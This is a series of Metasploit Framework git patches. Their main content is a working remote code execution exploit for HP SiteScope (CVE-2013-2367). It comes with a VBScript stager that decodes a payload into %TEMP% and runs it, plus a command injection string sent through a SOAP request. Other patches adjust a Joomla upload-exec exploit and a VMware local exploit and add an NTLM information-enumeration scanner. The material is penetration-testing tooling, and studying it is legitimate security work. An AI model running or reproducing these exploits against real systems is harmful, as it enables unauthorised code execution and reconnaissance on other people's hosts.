[PATCH 062/160] Add module for ZDI-13-205 --- data/exploits/cmdstager/vbs_b64_noquot | 49 +++++ .../http/hp_sitescope_runomagentcommand.rb | 185 ++++++++++++++++++ 2 files changed, 234 insertions(+) create mode 100755 data/exploits/cmdstager/vbs_b64_noquot create mode 100644 modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb diff --git a/data/exploits/cmdstager/vbs_b64_noquot b/data/exploits/cmdstager/vbs_b64_noquot new file mode 100755 index 0000000000..738a7b6c1d --- /dev/null +++ b/data/exploits/cmdstager/vbs_b64_noquot @@ -0,0 +1,49 @@ +echo Dim encodedFile, decodedFile, scriptingFS, scriptShell, emptyString, tempString, Base64Chars, tempDir >>decode_stub +echo encodedFile = Chr(92)+CHRENCFILE >>decode_stub +echo decodedFile = Chr(92)+CHRDECFILE >>decode_stub +echo scriptingFS = Chr(83)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(105)+Chr(110)+Chr(103)+Chr(46)+Chr(70)+Chr(105)+Chr(108)+Chr(101)+Chr(83)+Chr(121)+Chr(115)+Chr(116)+Chr(101)+Chr(109)+Chr(79)+Chr(98)+Chr(106)+Chr(101)+Chr(99)+Chr(116) >>decode_stub +echo scriptShell = Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(83)+Chr(104)+Chr(101)+Chr(108)+Chr(108) >>decode_stub +echo emptyString = Chr(84)+Chr(104)+Chr(101)+Chr(32)+Chr(102)+Chr(105)+Chr(108)+Chr(101)+Chr(32)+Chr(105)+Chr(115)+Chr(32)+Chr(101)+Chr(109)+Chr(112)+Chr(116)+Chr(121)+Chr(46)>>decode_stub +echo tempString = Chr(37)+Chr(84)+Chr(69)+Chr(77)+Chr(80)+Chr(37) >>decode_stub +echo Base64Chars = Chr(65)+Chr(66)+Chr(67)+Chr(68)+Chr(69)+Chr(70)+Chr(71)+Chr(72)+Chr(73)+Chr(74)+Chr(75)+Chr(76)+Chr(77)+Chr(78)+Chr(79)+Chr(80)+Chr(81)+Chr(82)+Chr(83)+Chr(84)+Chr(85)+Chr(86)+Chr(87)+Chr(88)+Chr(89)+Chr(90)+Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+Chr(103)+Chr(104)+Chr(105)+Chr(106)+Chr(107)+Chr(108)+Chr(109)+Chr(110)+Chr(111)+Chr(112)+Chr(113)+Chr(114)+Chr(115)+Chr(116)+Chr(117)+Chr(118)+Chr(119)+Chr(120)+Chr(121)+Chr(122)+Chr(48)+Chr(49)+Chr(50)+Chr(51)+Chr(52)+Chr(53)+Chr(54)+Chr(55)+Chr(56)+Chr(57)+Chr(43)+Chr(47) >>decode_stub +echo Set wshShell = CreateObject(scriptShell) >>decode_stub +echo tempDir = wshShell.ExpandEnvironmentStrings(tempString) >>decode_stub +echo Set fs = CreateObject(scriptingFS) >>decode_stub +echo Set file = fs.GetFile(tempDir+encodedFile) >>decode_stub +echo If file.Size Then >>decode_stub +echo Set fd = fs.OpenTextFile(tempDir+encodedFile, 1) >>decode_stub +echo data = fd.ReadAll >>decode_stub +echo data = Replace(data, Chr(32)+vbCrLf, nil) >>decode_stub +echo data = Replace(data, vbCrLf, nil) >>decode_stub +echo data = base64_decode(data) >>decode_stub +echo fd.Close >>decode_stub +echo Set ofs = CreateObject(scriptingFS).OpenTextFile(tempDir+decodedFile, 2, True) >>decode_stub +echo ofs.Write data >>decode_stub +echo ofs.close >>decode_stub +echo wshShell.run tempDir+decodedFile, 0, false >>decode_stub +echo Else >>decode_stub +echo Wscript.Echo emptyString >>decode_stub +echo End If >>decode_stub +echo Function base64_decode(byVal strIn) >>decode_stub +echo Dim w1, w2, w3, w4, n, strOut >>decode_stub +echo For n = 1 To Len(strIn) Step 4 >>decode_stub +echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub +echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub +echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub +echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub +echo If Not w2 Then _ >>decode_stub +echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub +echo If Not w3 Then _ >>decode_stub +echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub +echo If Not w4 Then _ >>decode_stub +echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub +echo Next >>decode_stub +echo base64_decode = strOut >>decode_stub +echo End Function >>decode_stub +echo Function mimedecode(byVal strIn) >>decode_stub +echo If Len(strIn) = 0 Then >>decode_stub +echo mimedecode = -1 : Exit Function >>decode_stub +echo Else >>decode_stub +echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub +echo End If >>decode_stub +echo End Function >>decode_stub diff --git a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb new file mode 100644 index 0000000000..0cb8c449f8 --- /dev/null +++ b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb @@ -0,0 +1,185 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStagerVBS + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP SiteScope Remote Code Execution', + 'Description' => %q{ + This module exploits a code execution flaw in HP SiteScope. + The vulnerability exists on the opcactivate.vbs script, which + is reachable from the APIBSMIntegrationImpl AXIS service, and + uses WScript.Shell.run() to execute cmd.exe with user provided + data. The module has been tested successfully on HP SiteScope + 11.20 over Windows 2003 SP2. + }, + 'Author' => + [ + 'rgod ', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-2367'], + [ 'OSVDB', '95824' ], + [ 'BID', '61506' ], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-205/' ] + ], + 'Privileged' => true, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => + [ + [ 'HP SiteScope 11.20 / Windows 2003 SP2', {} ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => + { + 'DECODERSTUB' => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_noquot") + }, + 'DisclosureDate' => 'Jul 29 2013')) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']) + ], self.class) + end + + def uri + uri = normalize_uri(target_uri.path) + uri << '/' if uri[-1,1] != '/' + return uri + end + + def check + + data = "" + data << "" + data << "" + data << "" + data << "" + data << "" + data << "#{rand_text_alpha(8 + rand(10))}" + data << "#{rand_text_alpha(8 + rand(10))}" + data << "" + data << "" + data << "#{rand_text_alpha(8 + rand(10))}" + data << "" + data << "" + data << "" + + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'services', 'APIBSMIntegrationImpl'), + 'method' => 'POST', + 'ctype' => 'text/xml; charset=UTF-8', + 'data' => data, + 'headers' => { + 'SOAPAction' => '""' + } + }) + + if res and res.code == 200 and res.body =~ /runOMAgentCommandResponse/ + return Exploit::CheckCode::Detected + end + + return Exploit::CheckCode::Safe + end + + def exploit + @peer = "#{rhost}:#{rport}" + + print_status("#{@peer} - Delivering payload...") + + # The path to the injection is something like: + # * Java exec => cscript => WScript.Shell => cmd.exe (injection happens) + # Empirically has been tested a 1500 value for :linemax makes it work + # reliable + execute_cmdstager({:linemax => 1500}) + end + + def get_vbs_string(str) + vbs_str = "" + str.each_byte { |b| + vbs_str << "Chr(#{b})+" + } + + return vbs_str.chomp("+") + end + + # Make the modifications required to the specific encoder + # This exploit uses an specific encoder because quotes (") + # aren't allowed when injecting commands + def execute_cmdstager_begin(opts) + var_decoded = @stager_instance.instance_variable_get(:@var_decoded) + var_encoded = @stager_instance.instance_variable_get(:@var_encoded) + decoded_file = "#{var_decoded}.exe" + encoded_file = "#{var_encoded}.b64" + @cmd_list.each { |command| + # Because the exploit kills cscript processes to speed up and reliability + command.gsub!(/cscript \/\/nologo/, "wscript //nologo") + command.gsub!(/CHRENCFILE/, get_vbs_string(encoded_file)) + command.gsub!(/CHRDECFILE/, get_vbs_string(decoded_file)) + } + end + + def execute_command(cmd, opts={}) + # HTML Encode '&' character + # taskkill allows to kill the cscript process which is triggering the + # different operations performed by the OPACTIVATE command. It speeds + # up exploitation and improves reliability (some processes launched can die + # due to the fake activation). But this line also will kill other cscript + # legit processes which could be running on the target host. Because of it + # the exploit has a Manual ranking + command = ""127.0.0.1 && " + command << cmd.gsub(/&/, "&") + command << " && taskkill /F /IM cscript.exe "" + + data = "" + data << "" + data << "" + data << "" + data << "" + data << "" + data << "omHost" + data << "#{command}" + data << "" + data << "" + data << "OPCACTIVATE" + data << "" + data << "" + data << "" + + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'services', 'APIBSMIntegrationImpl'), + 'method' => 'POST', + 'ctype' => 'text/xml; charset=UTF-8', + 'data' => data, + 'headers' => { + 'SOAPAction' => '""' + } + }) + + if res.nil? or res.code != 200 or res.body !~ /runOMAgentCommandResponse/ + fail_with(Failure::Unknown, "#{@peer} - Unexpected response, aborting...") + end + + end + +end From 34b3ee5e1768e3ff95c46365ec7faa291a40fe2c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 4 Sep 2013 16:10:15 -0500 Subject: [PATCH 063/160] Update ranking and description --- .../windows/http/hp_sitescope_runomagentcommand.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb index 0cb8c449f8..13d2e1926d 100644 --- a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb +++ b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = GoodRanking + Rank = ManualRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } @@ -23,8 +23,10 @@ class Metasploit3 < Msf::Exploit::Remote The vulnerability exists on the opcactivate.vbs script, which is reachable from the APIBSMIntegrationImpl AXIS service, and uses WScript.Shell.run() to execute cmd.exe with user provided - data. The module has been tested successfully on HP SiteScope - 11.20 over Windows 2003 SP2. + data. Note which the opcactivate.vbs component is installed + with the (optional) HP Operations Agent component. The module + has been tested successfully on HP SiteScope 11.20 (with HP + Operations Agent) over Windows 2003 SP2. }, 'Author' => [ From b6245eea72d18a119fb5379a5aac212c7434ded9 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 4 Sep 2013 16:43:26 -0500 Subject: [PATCH 064/160] Update target info --- modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb index 13d2e1926d..04cbdb567b 100644 --- a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb +++ b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Arch' => ARCH_X86, 'Targets' => [ - [ 'HP SiteScope 11.20 / Windows 2003 SP2', {} ] + [ 'HP SiteScope 11.20 (with Operations Agent) / Windows 2003 SP2', {} ] ], 'DefaultTarget' => 0, 'DefaultOptions' => From 66d5af5a11fa716712335d9a84c89ae84ab625cb Mon Sep 17 00:00:00 2001 From: jgor Date: Wed, 4 Sep 2013 16:58:49 -0500 Subject: [PATCH 065/160] remove dependency on tmpl=component --- modules/exploits/unix/webapp/joomla_media_upload_exec.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb index f56c189a61..75d5070833 100644 --- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -124,7 +124,6 @@ class Metasploit3 < Msf::Exploit::Remote 'vars_get' => { 'option' => 'com_media', 'view' => 'images', - 'tmpl' => 'component', 'e_name' => 'jform_articletext', 'asset' => 'com_content', 'author' => '' From 84e4b42f6bac0aaacce2d8aa98b95464ce0f1a7c Mon Sep 17 00:00:00 2001 From: jgor Date: Wed, 4 Sep 2013 16:59:42 -0500 Subject: [PATCH 066/160] allow 302 redirects --- modules/exploits/unix/webapp/joomla_media_upload_exec.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb index 75d5070833..30564457a0 100644 --- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -181,7 +181,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Checking Access to Media Component...") res = get_upload_form - if res and res.code == 200 and res.headers['Set-Cookie'] and res.body =~ /You are not authorised to view this resource/ + if res and (res.code == 200 or res.code == 302) and res.headers['Set-Cookie'] and res.body =~ /You are not authorised to view this resource/ print_status("#{peer} - Authentication required... Proceeding...") if @username.empty? or @password.empty? @@ -191,7 +191,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Accessing the Login Form...") res = get_login_form - if res.nil? or res.code != 200 or res.body !~ /login/ + if res.nil? or (res.code != 200 and res.code != 302) or res.body !~ /login/ fail_with(Failure::Unknown, "#{peer} - Unable to Access the Login Form") end parse_login_options(res.body) @@ -200,7 +200,7 @@ class Metasploit3 < Msf::Exploit::Remote if not res or res.code != 303 fail_with(Failure::NoAccess, "#{peer} - Unable to Authenticate") end - elsif res and res.code ==200 and res.headers['Set-Cookie'] and res.body =~ /
Date: Wed, 4 Sep 2013 21:39:02 -0400 Subject: [PATCH 067/160] Host Information Enumeration via NTLM Authentication This aux module makes requests to resources on the target server in an attempt to find resources which permit NTLM authentication. For resources which permit NTLM authentication a blank NTLM type 1 message is sent to enumerate a a type 2 message from the target server. The type 2 message is then parsed for information such as the Active Directory domain and NetBIOS name. The user can provide their own TARGETURIS file which contains URIs to request to attempt to get a 401 with NTLM. This PR also includes a list of URLs that can be used as the default. --- data/wordlists/http_owa_common.txt | 8 ++ .../scanner/http/ntlm_info_enumeration.rb | 122 ++++++++++++++++++ 2 files changed, 130 insertions(+) create mode 100644 data/wordlists/http_owa_common.txt create mode 100644 modules/auxiliary/scanner/http/ntlm_info_enumeration.rb diff --git a/data/wordlists/http_owa_common.txt b/data/wordlists/http_owa_common.txt new file mode 100644 index 0000000000..86c0c93c88 --- /dev/null +++ b/data/wordlists/http_owa_common.txt @@ -0,0 +1,8 @@ +aspnet_client/ +Autodiscover/ +ecp/ +EWS/ +Microsoft-Server-ActiveSync/ +OAB/ +PowerShell/ +Rpc/ diff --git a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb new file mode 100644 index 0000000000..7809250925 --- /dev/null +++ b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb @@ -0,0 +1,122 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'Host Information Enumeration via NTLM Authentication', + 'Description' => %q{ + This module makes requests to resources on the target server in + an attempt to find resources which permit NTLM authentication. For + resources which permit NTLM authentication a blank NTLM type 1 message + is sent to enumerate a a type 2 message from the target server. The type + 2 message is then parsed for information such as the Active Directory + domain and NetBIOS name. + }, + 'Author' => 'Brandon Knight', + 'License' => MSF_LICENSE + ) + register_options( + [ + OptPath.new('TARGETURIS', [ false, "Path to list of URIs to request", File.join(Msf::Config.install_root, "data", "wordlists", "http_owa_common.txt")]) + ], self.class) + end + + def peer + return "#{rhost}:#{rport}" + end + + def run_host(ip) + File.open(datastore['TARGETURIS'], 'rb').each_line do |line| + target_uri = line.chomp + result = check_url(target_uri) + if result + print_good("Enumerated info on #{peer} - (name:#{result[:nbname]}) (domain:#{result[:nbdomain]}) (domain_fqdn:#{result[:dnsdomain]}) (server_fqdn:#{result[:dnsserver]})") + report_note( + :host => ip, + :port => rport, + :proto => 'tcp', + :sname => (ssl ? 'https' : 'http'), + :ntype => 'ntlm.enumeration.info', + :data => {:uri=>target_uri,:SMBName=>result[:nbname], :SMBDomain=>result[:nbdomain],:FQDNDomain=>result[:dnsdomain],:FQDNName=>result[:dnsserver]}, + :update => :unique_data + ) + return + end + end + end + + def check_url(target_uri) + begin + tpath = normalize_uri(target_uri) + if tpath[-1,1] != '/' + tpath << '/' + end + + vprint_status("Checking #{peer} URL #{tpath}") + res = send_request_cgi({ + 'encode' => true, + 'uri' => "/#{tpath}", + 'method' => 'GET', + 'headers' => { "Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="} + }, 10) + + return if res.nil? + + vprint_status("Status: #{res.code}") + if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) + hash = res['WWW-Authenticate'].split('NTLM ')[1] + #Parse out the NTLM and just get the Target Information Data + target = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_info].value() + + # Retrieve Domain name subblock info + nbdomain = parse_ntlm_info(target,"\x02\x00",0) + # Retrieve Server name subblock info + nbname = parse_ntlm_info(target,"\x01\x00",nbdomain[:new_offset]) + # Retrieve DNS domain name subblock info + dnsdomain = parse_ntlm_info(target,"\x04\x00",nbname[:new_offset]) + # Retrieve DNS server name subblock info + dnsserver = parse_ntlm_info(target,"\x03\x00",dnsdomain[:new_offset]) + + return { + :nbname=>nbname[:message], + :nbdomain=>nbdomain[:message], + :dnsdomain=>dnsdomain[:message], + :dnsserver=>dnsserver[:message] + } + end + + rescue OpenSSL::SSL::SSLError + vprint_error("#{peer} - SSL error") + return + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + vprint_error("#{peer} - Unable to Connect") + return + rescue ::Timeout::Error, ::Errno::EPIPE + vprint_error("#{peer} - Timeout error") + return + end + + end + + def parse_ntlm_info(message,pattern,offset) + name_index = message.index(pattern,offset) + offset = name_index.to_i + size = message[offset+2].unpack('C').first + return { + :message=>message[offset+3,size].gsub(/\0/,''), + :new_offset => offset + size + } + end + +end From 6b1d7545d6b98ddc6b1359b5e1eadcf4e115d89a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 5 Sep 2013 08:26:49 -0500 Subject: [PATCH 068/160] Refactor, avoid duplicate code --- .../http/hp_sitescope_runomagentcommand.rb | 49 +++++++------------ 1 file changed, 18 insertions(+), 31 deletions(-) diff --git a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb index 04cbdb567b..d3c5c3fdd9 100644 --- a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb +++ b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb @@ -70,31 +70,11 @@ class Metasploit3 < Msf::Exploit::Remote def check - data = "" - data << "" - data << "" - data << "" - data << "" - data << "" - data << "#{rand_text_alpha(8 + rand(10))}" - data << "#{rand_text_alpha(8 + rand(10))}" - data << "" - data << "" - data << "#{rand_text_alpha(8 + rand(10))}" - data << "" - data << "" - data << "" + op = rand_text_alpha(8 + rand(10)) + key = rand_text_alpha(8 + rand(10)) + value = rand_text_alpha(8 + rand(10)) - res = send_request_cgi({ - 'uri' => normalize_uri(uri, 'services', 'APIBSMIntegrationImpl'), - 'method' => 'POST', - 'ctype' => 'text/xml; charset=UTF-8', - 'data' => data, - 'headers' => { - 'SOAPAction' => '""' - } - }) + res = send_soap_request(op, key, value) if res and res.code == 200 and res.body =~ /runOMAgentCommandResponse/ return Exploit::CheckCode::Detected @@ -152,6 +132,16 @@ class Metasploit3 < Msf::Exploit::Remote command << cmd.gsub(/&/, "&") command << " && taskkill /F /IM cscript.exe "" + send_soap_request("OPCACTIVATE", "omHost", command) + + + if res.nil? or res.code != 200 or res.body !~ /runOMAgentCommandResponse/ + fail_with(Failure::Unknown, "#{@peer} - Unexpected response, aborting...") + end + + end + + def send_soap_request(op, key, value) data = "" data << "" @@ -159,11 +149,11 @@ class Metasploit3 < Msf::Exploit::Remote data << "" data << "" data << "" - data << "omHost" - data << "#{command}" + data << "#{key}" + data << "#{value}" data << "" data << "" - data << "OPCACTIVATE" + data << "#{op}" data << "" data << "" data << "" @@ -178,10 +168,7 @@ class Metasploit3 < Msf::Exploit::Remote } }) - if res.nil? or res.code != 200 or res.body !~ /runOMAgentCommandResponse/ - fail_with(Failure::Unknown, "#{@peer} - Unexpected response, aborting...") - end - + return res end end From 3681955f683d6e0be22959a300bd4a01fffcc200 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 5 Sep 2013 08:28:50 -0500 Subject: [PATCH 069/160] Use Msf::Config.data_directory --- modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb index d3c5c3fdd9..ff79d36d55 100644 --- a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb +++ b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb @@ -51,7 +51,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DefaultOptions' => { - 'DECODERSTUB' => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_noquot") + 'DECODERSTUB' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot") }, 'DisclosureDate' => 'Jul 29 2013')) From 5c06a471f91162b8cc9c6d70b55d3a5bb61faad4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 5 Sep 2013 08:33:35 -0500 Subject: [PATCH 070/160] Get the call result --- .../exploits/windows/http/hp_sitescope_runomagentcommand.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb index ff79d36d55..aa31bef67d 100644 --- a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb +++ b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb @@ -132,8 +132,7 @@ class Metasploit3 < Msf::Exploit::Remote command << cmd.gsub(/&/, "&") command << " && taskkill /F /IM cscript.exe "" - send_soap_request("OPCACTIVATE", "omHost", command) - + res = send_soap_request("OPCACTIVATE", "omHost", command) if res.nil? or res.code != 200 or res.body !~ /runOMAgentCommandResponse/ fail_with(Failure::Unknown, "#{@peer} - Unexpected response, aborting...") From afaab5e0a6ec867513997f1ab255f097f33cc32e Mon Sep 17 00:00:00 2001 From: kaospunk Date: Thu, 5 Sep 2013 09:34:35 -0400 Subject: [PATCH 071/160] Fixes issues raised by jvazquez-r7 This commit fixes the following issues raised by jvazquez-r7: * The local target_uri variable has been renamed to test_uri * Logic to prepend a "/" to the uri has been removed * The timeout of 10 for send_request_cgi has been removed to use the default --- .../auxiliary/scanner/http/ntlm_info_enumeration.rb | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb index 7809250925..b51fba684f 100644 --- a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb +++ b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb @@ -56,20 +56,17 @@ class Metasploit3 < Msf::Auxiliary end end - def check_url(target_uri) + def check_url(test_uri) begin - tpath = normalize_uri(target_uri) - if tpath[-1,1] != '/' - tpath << '/' - end + tpath = normalize_uri(test_uri) vprint_status("Checking #{peer} URL #{tpath}") res = send_request_cgi({ 'encode' => true, - 'uri' => "/#{tpath}", + 'uri' => "#{tpath}", 'method' => 'GET', 'headers' => { "Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="} - }, 10) + }, 20) return if res.nil? From 9f628b8b631b86013e27ad2b066fe574df97035a Mon Sep 17 00:00:00 2001 From: kaospunk Date: Thu, 5 Sep 2013 10:06:11 -0400 Subject: [PATCH 072/160] Add URI where information was discovered This adds the URI where the information was enumerated from to the scanner output. One more place where target_uri was being used was also corrected. --- .../scanner/http/ntlm_info_enumeration.rb | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb index b51fba684f..54305fe1e8 100644 --- a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb +++ b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb @@ -38,17 +38,18 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) File.open(datastore['TARGETURIS'], 'rb').each_line do |line| - target_uri = line.chomp - result = check_url(target_uri) + test_uri = line.chomp + tpath = normalize_uri(test_uri) + result = check_url(tpath) if result - print_good("Enumerated info on #{peer} - (name:#{result[:nbname]}) (domain:#{result[:nbdomain]}) (domain_fqdn:#{result[:dnsdomain]}) (server_fqdn:#{result[:dnsserver]})") + print_good("Enumerated info on #{peer}#{tpath} - (name:#{result[:nbname]}) (domain:#{result[:nbdomain]}) (domain_fqdn:#{result[:dnsdomain]}) (server_fqdn:#{result[:dnsserver]})") report_note( :host => ip, :port => rport, :proto => 'tcp', :sname => (ssl ? 'https' : 'http'), :ntype => 'ntlm.enumeration.info', - :data => {:uri=>target_uri,:SMBName=>result[:nbname], :SMBDomain=>result[:nbdomain],:FQDNDomain=>result[:dnsdomain],:FQDNName=>result[:dnsserver]}, + :data => {:uri=>tpath,:SMBName=>result[:nbname], :SMBDomain=>result[:nbdomain],:FQDNDomain=>result[:dnsdomain],:FQDNName=>result[:dnsserver]}, :update => :unique_data ) return @@ -58,12 +59,11 @@ class Metasploit3 < Msf::Auxiliary def check_url(test_uri) begin - tpath = normalize_uri(test_uri) - vprint_status("Checking #{peer} URL #{tpath}") + vprint_status("Checking #{peer} URL #{test_uri}") res = send_request_cgi({ 'encode' => true, - 'uri' => "#{tpath}", + 'uri' => "#{test_uri}", 'method' => 'GET', 'headers' => { "Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="} }, 20) From 50c6f2632926daacfee85ec9eaa6b8d42317f32e Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 5 Sep 2013 10:50:36 -0500 Subject: [PATCH 073/160] Don't deregister PrependFork --- modules/exploits/linux/local/vmware_mount.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/exploits/linux/local/vmware_mount.rb b/modules/exploits/linux/local/vmware_mount.rb index ba83daba19..2424b9517e 100644 --- a/modules/exploits/linux/local/vmware_mount.rb +++ b/modules/exploits/linux/local/vmware_mount.rb @@ -57,8 +57,6 @@ class Metasploit4 < Msf::Exploit::Local 'DisclosureDate' => "Aug 22 2013" } )) - # Handled by ghetto hardcoding below. - deregister_options("PrependFork") end def check From 24dc89d7fdb7ab2194fa910b840d837ee528c4c4 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Thu, 5 Sep 2013 11:25:12 -0500 Subject: [PATCH 074/160] Update HACKING to advise soft tabs --- HACKING | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/HACKING b/HACKING index 23c0acd463..000924485c 100644 --- a/HACKING +++ b/HACKING @@ -9,8 +9,8 @@ Code Style In order to maintain consistency and readability, we ask that you adhere to the following style guidelines: - - Hard tabs, not spaces - - Try to keep your lines under 100 columns (assuming four-space tabs) + - Standard Ruby soft tabs, not hard tabs. + - Try to keep your lines under 100 columns (assuming two-space tabs) - do; end instead of {} for a block - Always use str[0,1] instead of str[0] (This avoids a known ruby 1.8/1.9 incompatibility.) From 0a1a202fb5ee254889cd275d880204d5b4f9f30b Mon Sep 17 00:00:00 2001 From: Tab Assassin Date: Thu, 5 Sep 2013 13:04:23 -0500 Subject: [PATCH 075/160] Retab changes for PR #2329 --- .../scanner/http/ntlm_info_enumeration.rb | 190 +++++++++--------- 1 file changed, 95 insertions(+), 95 deletions(-) diff --git a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb index 54305fe1e8..6c3f827b63 100644 --- a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb +++ b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb @@ -8,112 +8,112 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::Scanner - include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient 